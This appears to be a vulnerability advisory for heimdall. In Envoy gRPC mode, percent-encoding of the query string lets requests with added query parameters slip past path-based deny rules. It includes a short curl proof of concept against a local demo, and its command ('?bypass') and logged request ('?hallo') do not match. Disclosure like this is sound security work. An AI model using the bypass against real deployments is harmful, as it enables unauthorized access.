Heimdall: Path received via Envoy gRPC corrupted when containing query string
Summary
When using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.
The HTTP based decision API is NOT affected, and proxy mode is NOT affected either.
Note: The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag.
Details
Envoy splits the requested URL into parts, and sends the parts individually to heimdall. Although query and path are present in the API, the query field is documented to be always empty and the URL query is included in the path field [1].
The implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path.
https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115
As a consequence, a parameter like /mypath?foo=bar to Path is escaped into /mypath%3Ffoo=bar. Subsequently, a rule matching /mypath no longer matches and is bypassed.
PoC
Using the example docker compose setup, the demo:public rule is bypassed when adding a query parameter.
> docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up
```
curl http://127.0.0.1:9090/public
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.3
RemoteAddr: 172.23.0.5:37056
GET /public HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5
curl -v http://127.0.0.1:9090/public?bypass
- Trying 127.0.0.1:9090...
- Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876
- using HTTP/1.x
> GET /public?hallo HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.19.0
> Accept: */*
>
- Request completely sent off
< HTTP/1.1 401 Unauthorized
< date: Sat, 14 Mar 2026 16:34:17 GMT
< server: envoy
< content-length: 0
<
- Connection #0 to host 127.0.0.1:9090 left intact
```
When using the HTTP decision API variant, the second request is matched by the rule as well:
> docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up
```
curl http://127.0.0.1:9090/public?bypass
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.4
RemoteAddr: 172.23.0.2:38044
GET /public?hallo HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2
```
Impact
Everyone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.
[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147
